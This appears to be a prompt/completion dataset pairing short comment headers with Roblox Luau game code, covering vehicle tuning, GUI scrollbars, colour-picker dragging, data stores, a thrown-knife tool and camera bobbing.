prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--local enabled = true
|
local driveSeat = script.Parent.Parent.Parent.CarSeat.Value
script.Parent.MouseButton1Click:Connect(function()
|
--[[
function luaU:make_setF(filename)
local buff = {}
buff.h = io.open(filename, "wb")
if not buff.h then return nil end
local writer =
function(s, buff) -- chunk writer
if not buff.h then return 0 end
if not s then
if buff.h:close() then return 0 end
else
if buff.h:write(s) then return 0 end
end
return 1
end
return writer, buff
end--]]
| |
-- public methods
|
function vec:clone()
return self * 1;
end
|
--[[Steering]]
|
Tune.SteerInner = 46 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 47 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = 1 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
--[=[
Constructs a new DataStoreStage to load from. Prefer to use DataStore because this doesn't
have any way to retrieve this.
@param loadName string
@param loadParent DataStoreStage?
@return DataStoreStage
]=]
|
function DataStoreStage.new(loadName, loadParent)
local self = setmetatable(BaseObject.new(), DataStoreStage)
-- LoadParent is optional, used for loading
self._loadName = loadName
self._loadParent = loadParent
self._savingCallbacks = {} -- [func, ...]
self._takenKeys = {} -- [name] = true
self._stores = {} -- [name] = dataSubStore
return self
end
|
--------END RIGHT DOOR --------
|
game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackright1.Part2.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackright1.Part3.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackright1.Part5.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackright1.Part6.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackright1.Part7.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackright1.Part8.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.audiencebackright1.Part9.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.post1.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.post2.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l34.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l14.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l15.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l24.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l25.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.sidesquares.l35.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
end
wait(0.25)
if game.Workspace.DoorFlashing.Value == true then
|
-- dragger
|
local slideDrag = dragger.new(slide,slider);
local ringDrag = dragger.new(ring,wheel);
function slideDrag:onDrag(guiElement, input, delta)
local rY = input.Position.y - slider.AbsolutePosition.y;
local cY = math.clamp(rY, 0, slider.AbsoluteSize.y - slide.AbsoluteSize.y);
guiElement.Position = UDim2.new(0, 0, 0, cY);
value = 1 - (cY / (slider.AbsoluteSize.y - slide.AbsoluteSize.y));
guiElement.BackgroundColor3 = Color3.fromHSV(0, 0, 1-value);
update();
end
function ringDrag:onDrag(guiElement, input, delta)
local r = wheel.AbsoluteSize.x/2
local d = Vector2.new(input.Position.x, input.Position.y) - wheel.AbsolutePosition - wheel.AbsoluteSize/2;
if (d:Dot(d) > r*r) then
d = d.unit * r;
end
guiElement.Position = UDim2.new(0.5, d.x, 0.5, d.y);
local phi, len = toPolar(d * Vector2.new(1, -1));
hue, saturation = radToDeg(phi)/360, len / r;
slider.BackgroundColor3 = Color3.fromHSV(hue, saturation, 1);
update();
end
|
-- The maximum distance the can can shoot, this value should never go above 1000
|
local Range = 433
|
--INSERT THIS SCRIPT IN SERVERSCRIPTSERVICE--
|
BadgeID = script.ID.Value --INSERT BADGE ID
TimeNo = 50 --WHEN TO GIVE BADGE AFTER PLAYER JOINED (Don't Change)
|
-- ROBLOX upstream: https://github.com/facebook/jest/blob/v27.4.7/packages/test-utils/src/index.ts
-- /**
-- * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
-- *
-- * This source code is licensed under the MIT license found in the
-- * LICENSE file in the root directory of this source tree.
-- */
|
local CurrentModule = script
local alignedAnsiStyleSerializer = require(CurrentModule.alignedAnsiStyleSerializer)
local configModule = require(CurrentModule.config)
|
----- NO EDITING BELOW -----
|
local weldedParts = {}
table.insert(weldedParts,mainPart)
function Weld(x, y)
weld = Instance.new("Weld")
weld.Part0 = x
weld.Part1 = y
local CJ = CFrame.new(x.Position)
weld.C0 = x.CFrame:inverse() * CJ
weld.C1 = y.CFrame:inverse() * CJ
weld.Parent = x
table.insert(weldedParts,y)
end
function WeldRec(instance)
local childs = instance:GetChildren()
for _,v in pairs(childs) do
if v:IsA("MeshPart") then
Weld(mainPart, v)
end
WeldRec(v)
end
end
WeldRec(P)
|
--///////////////////////// Constructors
--//////////////////////////////////////
|
function module.new(channelName, messageLogDisplay)
local obj = setmetatable({}, methods)
obj.Destroyed = false
obj.Active = false
obj.MessageLog = {}
obj.MessageLogDisplay = messageLogDisplay
obj.ChannelTab = nil
obj.Name = channelName
return obj
end
return module
|
--[[
Controls collision groups for the game.
]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local PhysicsService = game:GetService("PhysicsService")
local Constants = require(ReplicatedStorage.Source.Common.Constants)
local CollisionGroupsController = {}
|
--------------------------------------------------
|
script.Parent.Values.RPM.Changed:connect(function()
intach.Rotation = -80 + script.Parent.Values.RPM.Value * 240 / 12000
end)
script.Parent.Values.Velocity.Changed:connect(function(property)
inspd.Rotation = -30 + (440 / 300) * (math.abs(script.Parent.Values.Velocity.Value.Magnitude*((6/12) * (50/58))))
end)
if _Tune.Aspiration ~= "Natural" then
if _Tune.Aspiration == "Single" then
_TCount = 1
elseif _Tune.Aspiration == "Double" then
_TCount = 2
end
script.Parent.Values.Boost.Changed:connect(function()
local boost = (math.floor(script.Parent.Values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5)
inbst.Rotation = -30 + 61 * math.min(1,(script.Parent.Values.Boost.Value/(_Tune.Boost)/_TCount))
end)
end
|
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- ScrollBar
|
do
-- AutoButtonColor doesn't always reset properly
local function ResetButtonColor(button)
local active = button.Active
button.Active = not active
button.Active = active
end
local function ArrowGraphic(size,dir,scaled,template)
local Frame = Create('Frame',{
Name = "Arrow Graphic";
BorderSizePixel = 0;
Size = UDim2_new(0,size,0,size);
Transparency = 1;
})
if not template then
template = Instance_new("Frame")
template.BorderSizePixel = 0
end
local transform
if dir == nil or dir == 'Up' then
function transform(p,s) return p,s end
elseif dir == 'Down' then
function transform(p,s) return UDim2_new(0,p.X.Offset,0,size-p.Y.Offset-1),s end
elseif dir == 'Left' then
function transform(p,s) return UDim2_new(0,p.Y.Offset,0,p.X.Offset),UDim2_new(0,s.Y.Offset,0,s.X.Offset) end
elseif dir == 'Right' then
function transform(p,s) return UDim2_new(0,size-p.Y.Offset-1,0,p.X.Offset),UDim2_new(0,s.Y.Offset,0,s.X.Offset) end
end
local scale
if scaled then
function scale(p,s) return UDim2_new(p.X.Offset/size,0,p.Y.Offset/size,0),UDim2_new(s.X.Offset/size,0,s.Y.Offset/size,0) end
else
function scale(p,s) return p,s end
end
local o = math.floor(size/4)
if size%2 == 0 then
local n = size/2-1
for i = 0,n do
local t = template:Clone()
local p,s = scale(transform(
UDim2_new(0,n-i,0,o+i),
UDim2_new(0,(i+1)*2,0,1)
))
t.Position = p
t.Size = s
t.Parent = Frame
end
else
local n = (size-1)/2
for i = 0,n do
local t = template:Clone()
local p,s = scale(transform(
UDim2_new(0,n-i,0,o+i),
UDim2_new(0,i*2+1,0,1)
))
t.Position = p
t.Size = s
t.Parent = Frame
end
end
if size%4 > 1 then
local t = template:Clone()
local p,s = scale(transform(
UDim2_new(0,0,0,size-o-1),
UDim2_new(0,size,0,1)
))
t.Position = p
t.Size = s
t.Parent = Frame
end
return Frame
end
local function GripGraphic(size,dir,spacing,scaled,template)
local Frame = Create('Frame',{
Name = "Grip Graphic";
BorderSizePixel = 0;
Size = UDim2_new(0,size.x,0,size.y);
Transparency = 1;
})
if not template then
template = Instance_new("Frame")
template.BorderSizePixel = 0
end
spacing = spacing or 2
local scale
if scaled then
function scale(p) return UDim2_new(p.X.Offset/size.x,0,p.Y.Offset/size.y,0) end
else
function scale(p) return p end
end
if dir == 'Vertical' then
for i=0,size.x-1,spacing do
local t = template:Clone()
t.Size = scale(UDim2_new(0,1,0,size.y))
t.Position = scale(UDim2_new(0,i,0,0))
t.Parent = Frame
end
elseif dir == nil or dir == 'Horizontal' then
for i=0,size.y-1,spacing do
local t = template:Clone()
t.Size = scale(UDim2_new(0,size.x,0,1))
t.Position = scale(UDim2_new(0,0,0,i))
t.Parent = Frame
end
end
return Frame
end
local mt = {
__index = {
GetScrollPercent = function(self)
return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace)
end;
CanScrollDown = function(self)
return self.ScrollIndex + self.VisibleSpace < self.TotalSpace
end;
CanScrollUp = function(self)
return self.ScrollIndex > 0
end;
ScrollDown = function(self)
self.ScrollIndex = self.ScrollIndex + self.PageIncrement
self:Update()
end;
ScrollUp = function(self)
self.ScrollIndex = self.ScrollIndex - self.PageIncrement
self:Update()
end;
ScrollTo = function(self,index)
self.ScrollIndex = index
self:Update()
end;
SetScrollPercent = function(self,percent)
self.ScrollIndex = math.floor((self.TotalSpace - self.VisibleSpace)*percent + 0.5)
self:Update()
end;
};
}
mt.__index.CanScrollRight = mt.__index.CanScrollDown
mt.__index.CanScrollLeft = mt.__index.CanScrollUp
mt.__index.ScrollLeft = mt.__index.ScrollUp
mt.__index.ScrollRight = mt.__index.ScrollDown
function ScrollBar(horizontal)
local ScrollFrame = Create('Frame',{
Name = "ScrollFrame",
BorderSizePixel = 0,
Position = horizontal and UDim2_new(0,0,1,-GUI_SIZE) or UDim2_new(1,-GUI_SIZE,0,0),
Size = horizontal and UDim2_new(1,0,0,GUI_SIZE) or UDim2_new(0,GUI_SIZE,1,0),
BackgroundTransparency = 1,
Create('ImageButton',{
Name = "ScrollDown",
Position = horizontal and UDim2_new(1,-GUI_SIZE,0,0) or UDim2_new(0,0,1,-GUI_SIZE),
Size = UDim2_new(0, GUI_SIZE, 0, GUI_SIZE),
BackgroundColor3 = GuiColor.Button,
BorderColor3 = GuiColor.Border
}),
Create('ImageButton',{
Name = "ScrollUp",
Size = UDim2_new(0, GUI_SIZE, 0, GUI_SIZE),
BackgroundColor3 = GuiColor.Button,
BorderColor3 = GuiColor.Border
}),
Create('ImageButton',{
Name = "ScrollBar",
Size = horizontal and UDim2_new(1,-GUI_SIZE*2,1,0) or UDim2_new(1,0,1,-GUI_SIZE*2),
Position = horizontal and UDim2_new(0,GUI_SIZE,0,0) or UDim2_new(0,0,0,GUI_SIZE),
AutoButtonColor = false,
BackgroundColor3 = Color3_new(1/4, 1/4, 1/4),
BorderColor3 = GuiColor.Border,
Create('ImageButton',{
Name = "ScrollThumb",
AutoButtonColor = false,
Size = UDim2_new(0, GUI_SIZE, 0, GUI_SIZE),
BackgroundColor3 = GuiColor.Button,
BorderColor3 = GuiColor.Border
})
})
})
local graphicTemplate = Create('Frame',{
Name="Graphic",
BorderSizePixel = 0,
BackgroundColor3 = GuiColor.Border
})
local graphicSize = GUI_SIZE/2
local ScrollDownFrame = ScrollFrame.ScrollDown
local ScrollDownGraphic = ArrowGraphic(graphicSize,horizontal and 'Right' or 'Down',true,graphicTemplate)
ScrollDownGraphic.Position = UDim2_new(.5,-graphicSize/2,.5,-graphicSize/2)
ScrollDownGraphic.Parent = ScrollDownFrame
local ScrollUpFrame = ScrollFrame.ScrollUp
local ScrollUpGraphic = ArrowGraphic(graphicSize,horizontal and 'Left' or 'Up',true,graphicTemplate)
ScrollUpGraphic.Position = UDim2_new(.5,-graphicSize/2,.5,-graphicSize/2)
ScrollUpGraphic.Parent = ScrollUpFrame
local ScrollBarFrame = ScrollFrame.ScrollBar
local ScrollThumbFrame = ScrollBarFrame.ScrollThumb
do
local size = GUI_SIZE*3/8
local Decal = GripGraphic(Vector2_new(size,size),horizontal and 'Vertical' or 'Horizontal',2,graphicTemplate)
Decal.Position = UDim2_new(.5,-size/2,.5,-size/2)
Decal.Parent = ScrollThumbFrame
end
local Class = setmetatable({
GUI = ScrollFrame,
ScrollIndex = 0,
VisibleSpace = 0,
TotalSpace = 0,
PageIncrement = 1
},{
__index = {
GetScrollPercent = function(self)
return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace)
end,
CanScrollDown = function(self)
return self.ScrollIndex + self.VisibleSpace < self.TotalSpace
end,
CanScrollUp = function(self)
return self.ScrollIndex > 0
end,
CanScrollRight = function(self)
return self.ScrollIndex + self.VisibleSpace < self.TotalSpace
end,
CanScrollLeft = function(self)
return self.ScrollIndex > 0
end,
ScrollDown = function(self)
self.ScrollIndex += self.PageIncrement
self:Update()
end,
ScrollUp = function(self)
self.ScrollIndex -= self.PageIncrement
self:Update()
end,
ScrollRight = function(self)
self.ScrollIndex += self.PageIncrement
self:Update()
end,
ScrollLeft = function(self)
self.ScrollIndex -= self.PageIncrement
self:Update()
end,
ScrollTo = function(self,index)
self.ScrollIndex = index
self:Update()
end,
SetScrollPercent = function(self,percent)
self.ScrollIndex = math_floor((self.TotalSpace - self.VisibleSpace)*percent + .5)
self:Update()
end
}
})
local UpdateScrollThumb
if horizontal then
function UpdateScrollThumb()
ScrollThumbFrame.Size = UDim2_new(Class.VisibleSpace/Class.TotalSpace,0,0,GUI_SIZE)
if ScrollThumbFrame.AbsoluteSize.X < GUI_SIZE then
ScrollThumbFrame.Size = UDim2_new(0,GUI_SIZE,0,GUI_SIZE)
end
local barSize = ScrollBarFrame.AbsoluteSize.X
ScrollThumbFrame.Position = UDim2_new(Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.X)/barSize,0,0,0)
end
else
function UpdateScrollThumb()
ScrollThumbFrame.Size = UDim2_new(0,GUI_SIZE,Class.VisibleSpace/Class.TotalSpace,0)
if ScrollThumbFrame.AbsoluteSize.Y < GUI_SIZE then
ScrollThumbFrame.Size = UDim2_new(0,GUI_SIZE,0,GUI_SIZE)
end
local barSize = ScrollBarFrame.AbsoluteSize.Y
ScrollThumbFrame.Position = UDim2_new(0,0,Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.Y)/barSize,0)
end
end
local lastDown, lastUp
local scrollStyle = {BackgroundColor3=Color3_new(1, 1, 1),BackgroundTransparency=0}
local scrollStyle_ds = {BackgroundColor3=Color3_new(1, 1, 1),BackgroundTransparency=.7}
local function Update()
local t, v, s = Class.TotalSpace, Class.VisibleSpace, Class.ScrollIndex
if v <= t then
if s > 0 then
if s + v > t then
Class.ScrollIndex = t - v
end
else
Class.ScrollIndex = 0
end
else
Class.ScrollIndex = 0
end
if Class.UpdateCallback then
if Class.UpdateCallback(Class) == false then
return
end
end
local down = Class:CanScrollDown()
local up = Class:CanScrollUp()
if down ~= lastDown then
lastDown = down
ScrollDownFrame.Active = down
ScrollDownFrame.AutoButtonColor = down
local children = GetChildren(ScrollDownGraphic)
local style = down and scrollStyle or scrollStyle_ds
for i = 1,#children do
Create(children[i],style)
end
end
if up ~= lastUp then
lastUp = up
ScrollUpFrame.Active = up
ScrollUpFrame.AutoButtonColor = up
local children = GetChildren(ScrollUpGraphic)
local style = up and scrollStyle or scrollStyle_ds
for i = 1,#children do
Create(children[i],style)
end
end
ScrollThumbFrame.Visible = down or up
UpdateScrollThumb()
end
Class.Update = Update
SetZIndexOnChanged(ScrollFrame)
local MouseDrag = Create('ImageButton',{
Name = "MouseDrag",
Position = UDim2_new(-.25,0,-.25,0),
Size = UDim2_new(1.5,0,1.5,0),
Transparency = 1,
AutoButtonColor = false,
Active = true,
ZIndex = 10
})
local scrollEventID = 0
Connect(ScrollDownFrame.MouseButton1Down, function()
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = Connect(MouseDrag.MouseButton1Up, function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollDownFrame)
Disconnect(up_con)
drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
Class:ScrollDown()
wait(.2)
while scrollEventID == current do
Class:ScrollDown()
if not Class:CanScrollDown() then break end
wait()
end
end)
Connect(ScrollDownFrame.MouseButton1Up, function()
scrollEventID = tick()
end)
Connect(ScrollUpFrame.MouseButton1Down, function()
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = Connect(MouseDrag.MouseButton1Up, function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollUpFrame)
Disconnect(up_con)
drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
Class:ScrollUp()
wait(.2)
while scrollEventID == current do
Class:ScrollUp()
if not Class:CanScrollUp() then break end
wait()
end
end)
Connect(ScrollUpFrame.MouseButton1Up, function()
scrollEventID = tick()
end)
if horizontal then
Connect(ScrollBarFrame.MouseButton1Down, function(x,y)
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = Connect(MouseDrag.MouseButton1Up, function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollUpFrame)
Disconnect(up_con)
drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
if x > ScrollThumbFrame.AbsolutePosition.X then
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait(.2)
while scrollEventID == current do
if x < ScrollThumbFrame.AbsolutePosition.X + ScrollThumbFrame.AbsoluteSize.X then break end
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait()
end
else
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait(.2)
while scrollEventID == current do
if x > ScrollThumbFrame.AbsolutePosition.X then break end
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait()
end
end
end)
else
Connect(ScrollBarFrame.MouseButton1Down, function(x,y)
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = Connect(MouseDrag.MouseButton1Up, function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollUpFrame)
Disconnect(up_con)
drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
if y > ScrollThumbFrame.AbsolutePosition.Y then
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait(.2)
while scrollEventID == current do
if y < ScrollThumbFrame.AbsolutePosition.Y + ScrollThumbFrame.AbsoluteSize.Y then break end
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait()
end
else
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait(.2)
while scrollEventID == current do
if y > ScrollThumbFrame.AbsolutePosition.Y then break end
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait()
end
end
end)
end
if horizontal then
Connect(ScrollThumbFrame.MouseButton1Down, function(x,y)
scrollEventID = tick()
local mouse_offset = x - ScrollThumbFrame.AbsolutePosition.X
local drag_con
local up_con
drag_con = Connect(MouseDrag.MouseMoved, function(x,y)
local bar_abs_pos = ScrollBarFrame.AbsolutePosition.X
local bar_drag = ScrollBarFrame.AbsoluteSize.X - ScrollThumbFrame.AbsoluteSize.X
local bar_abs_one = bar_abs_pos + bar_drag
x -= mouse_offset
x = x < bar_abs_pos and bar_abs_pos or x > bar_abs_one and bar_abs_one or x
x -= bar_abs_pos
Class:SetScrollPercent(x/(bar_drag))
end)
up_con = Connect(MouseDrag.MouseButton1Up, function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollThumbFrame)
Disconnect(drag_con)
drag_con = nil
Disconnect(up_con)
drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
end)
else
Connect(ScrollThumbFrame.MouseButton1Down, function(x,y)
scrollEventID = tick()
local mouse_offset = y - ScrollThumbFrame.AbsolutePosition.Y
local drag_con, up_con
drag_con = Connect(MouseDrag.MouseMoved, function(x,y)
local bar_abs_pos = ScrollBarFrame.AbsolutePosition.Y
local bar_drag = ScrollBarFrame.AbsoluteSize.Y - ScrollThumbFrame.AbsoluteSize.Y
local bar_abs_one = bar_abs_pos + bar_drag
y -= mouse_offset
y = y < bar_abs_pos and bar_abs_pos or y > bar_abs_one and bar_abs_one or y
y -= bar_abs_pos
Class:SetScrollPercent(y/(bar_drag))
end)
up_con = Connect(MouseDrag.MouseButton1Up, function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollThumbFrame)
Disconnect(drag_con)
drag_con = nil
Disconnect(up_con)
drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
end)
end
function Class:Destroy()
Destroy(ScrollFrame)
Destroy(MouseDrag)
for k in next, Class do
Class[k] = nil
end
setmetatable(Class, nil)
end
Update()
return Class
end
end
|
--[[Drivetrain]]
|
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 50 -- 1 - 100%
Tune.RDiffLockThres = 50 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = false -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
--[=[
Constructs a new JSONTranslator from the given args.
```lua
local translator = JSONTranslator.new("en", {
actions = {
respawn = "Respawn {playerName}";
};
})
print(translator:FormatByKey("actions.respawn"), { playerName = "Quenty"}) --> Respawn Quenty
```
```lua
local translator = JSONTranslator.new(script)
-- assume there is an `en.json` underneath the script with valid JSON.
```
@param ... any
@return JSONTranslator
]=]
|
function JSONTranslator.new(...)
local self = setmetatable({}, JSONTranslator)
-- Cache localizaiton table, because it can take 10-20ms to load.
self._localizationTable = JsonToLocalizationTable.toLocalizationTable(...)
self._englishTranslator = self._localizationTable:GetTranslator("en")
self._fallbacks = {}
if RunService:IsRunning() then
self._promiseTranslator = LocalizationServiceUtils.promiseTranslator(Players.LocalPlayer)
else
self._promiseTranslator = Promise.resolved(self._englishTranslator)
end
if RunService:IsStudio() then
PseudoLocalize.addToLocalizationTable(self._localizationTable, nil, "en")
end
return self
end
function JSONTranslator:GetLocalizationTable()
return self._localizationTable
end
|
--[[
Returns true if the system has health, and is not currently on
]]
|
function BaseSystem:canTurnOn()
return not self:isOn() and self._health ~= 0
end
|
-- thanks for using my model, please put in in startercharacterscripts.
-- this camera bob includes a slight bob when you're standing still and an actual bob when u move. just like the horror games.
-- i hope u like it :D
|
local RunService = game:GetService("RunService")
local camera = workspace.CurrentCamera
local player = game.Players.LocalPlayer
player.CameraMode = Enum.CameraMode.LockFirstPerson
local character = script.Parent
local humanoid = character:WaitForChild("Humanoid")
|
-----------------------------------------------------------------------
|
EngineModule.Stop = function()
engine.Flying:Stop()
engine.StartUp:Stop()
for _,e in pairs(Misc:GetChildren()) do
if e.Name == "Vents" then
e.Smoke.Enabled = false
end
end
for _,i in pairs(Misc:GetChildren()) do
if i.Name == "Rotor" and i:FindFirstChild("Motor") ~= nil then
repeat wait(0.001)
i.Motor.MaxVelocity = i.Motor.MaxVelocity - 0.01
until i.Motor.MaxVelocity <= 0
i.Motor.MaxVelocity = 0
end
end
end
|
--use this to determine if you want this human to be harmed or not, returns boolean
|
function checkTeams(otherHuman)
return not (sameTeam(otherHuman) and not FriendlyFire)
end
function getKnife()
local knife = Handle:clone()
knife.Transparency = 0
knife.Hit.Pitch = math.random(90, 110)/100
local lift = Instance.new("BodyForce")
lift.force = Vector3.new(0, 196.2, 0) * knife:GetMass() * 0.8
lift.Parent = knife
local proj = Tool.Projectile:Clone()
proj.Disabled = false
proj.Parent = knife
return knife
end
function equippedLoop()
while Equipped do
local dt = Heartbeat:wait()
if AttackPower < 1 then
AttackPower = AttackPower + dt * AttackRecharge
if AttackPower > 1 then
AttackPower = 1
end
end
Handle.Fire.Enabled = AttackPower >= 1
Handle.Transparency = 1 - AttackPower
end
end
function onLeftDown(mousePos)
local knife = getKnife()
knife.CFrame = CFrame.new(Handle.Position, mousePos)
knife.Velocity = knife.CFrame.lookVector * AttackSpeed * AttackPower
local damage = AttackDamage * AttackPower
local touched
touched = knife.Touched:connect(function(part)
if part:IsDescendantOf(Tool.Parent) then return end
if contains(Knives, part) then return end
if part.Parent and part.Parent:FindFirstChild("Humanoid") then
local human = part.Parent.Humanoid
if checkTeams(human) then
tagHuman(human)
human:TakeDamage(damage)
knife.Hit:Play()
end
end
knife.Projectile:Destroy()
local w = Instance.new("Weld")
w.Part0 = part
w.Part1 = knife
w.C0 = part.CFrame:toObjectSpace(knife.CFrame)
w.Parent = w.Part0
touched:disconnect()
end)
table.insert(Knives, knife)
knife.Parent = workspace
game:GetService("Debris"):AddItem(knife, 3.5)
delay(2, function()
knife.Transparency = 1
knife.Fire.Enabled = false
end)
Remote:FireClient(getPlayer(), "PlayAnimation", "Throw")
Handle.Throw.Pitch = 0.8 + 0.4 * AttackPower
Handle.Throw:Play()
AttackPower = 0
end
function onRemote(player, func, ...)
if player ~= getPlayer() then return end
if func == "LeftDown" then
onLeftDown(...)
end
end
function onEquip()
Equipped = true
equippedLoop()
end
function onUnequip()
Equipped = false
end
Remote.OnServerEvent:connect(onRemote)
Tool.Equipped:connect(onEquip)
Tool.Unequipped:connect(onUnequip)
|
-- Roblox Services
|
local Players = game:GetService("Players")
|
--[[
Pops a node off of the navigation stack.
]]
|
function TestSession:popNode()
assert(#self.nodeStack > 0, "Tried to pop from an empty node stack!")
table.remove(self.nodeStack, #self.nodeStack)
table.remove(self.contextStack, #self.contextStack)
end
|
--//Controller//--
|
local Action = NPCAnimator:LoadAnimation(Anim)
Action:Play()
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local MoneyModule = require(game.ReplicatedStorage.Source.SystemModules.Money)
if MoneyModule.HasEnough(player,dialogueFolder.Parent) then
return true
end
return false
end
|
-- Create the game state
|
local gameState = {
level = 1,
enemies = {},
players = {}
}
|
--[[ SCRIPT VARIABLES ]]
|
local CHAT_BUBBLE_FONT = Enum.Font.ArialBold
local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match
local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match
local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10
local CHAT_BUBBLE_TAIL_HEIGHT = 14
